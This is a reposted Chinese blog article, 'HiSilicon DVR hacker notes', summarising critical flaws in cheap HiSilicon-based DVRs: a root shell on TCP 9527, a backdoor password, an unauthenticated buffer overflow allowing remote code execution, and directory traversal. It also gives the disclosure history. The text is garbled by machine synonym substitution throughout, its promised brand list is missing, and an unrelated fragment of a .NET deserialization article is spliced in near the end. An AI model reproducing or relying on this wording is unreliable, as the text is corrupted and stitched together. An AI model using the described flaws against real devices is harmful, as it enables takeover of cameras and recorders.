任何应用递次帐户的root shell接见权限 9527 / TCP 作者 任何具有任何范例的应用递次帐户并能够接见效劳掌握台的人,都能够将权限提升到对装备的完全( shell )掌握
后门应用递次暗码 危险 80 / tcp,554 / tcp 作者 任何人都能够作为应用递次管理员接见装备,即运用户已设置了强暗码来珍爱装备
内置Web效劳器中的缓冲区溢出 危险 80 / TCP 作者 应用缓冲区溢出,进击者能够在装备上取得根长途代码实行(不须要受权),装置后门、歹意软件和其他歹意内容
目次遍历 80 / TCP 其他人和作者 未经受权的读取接见装备上的统统内容(比方纪录流),也有助于应用缓冲区溢出

若是有人以为只要这个“Seculink”品牌的装备遭到这些严峻破绽的影响,那就错了。受影响装备的局限异常大。用这类硬件制作的每一个装备都是易受进击的。这些装备与名为“Sofia”的二进制应用递次同享(险些)雷同的固件。上述破绽(以至全功用剧本)在很多分歧的硬件上险些不须要修正就可以可靠地事变。

以下是受影响品牌的(不完全)列表:

HiSilicon DVR 黑客条记

总的来讲,能够说这些低价的物联网装备是平安恶梦。作者近来测试的每台装备都有一些严峻或症结的破绽。从测试者的角度来看,这类装备必需离开,这类装备不能与主要的秘要数据同享同一个收集。不幸的是,没有真正的时机取得这类固件的补钉更新。

末了,必需指出,这个缓冲区溢出破绽(应用PoC代码)已经由历程Beyond Security的 SecuriTeam Secure Disclosure (SSD)递次公然。供应商(HiSilicon)已于2016岁尾经由历程(Beyond Security)关照,但在破绽宣布之前没有复兴(不幸的是,这是很罕见的事变)。

2017年2月宣布的表露信息可 在此处猎取。

.NET高等代码审计(第四课) JavaScriptSerializer反序列化破绽

作者: Ivan1ee@360云影实验室 0X00 前言 在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明HiSilicon DVR 黑客条记
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址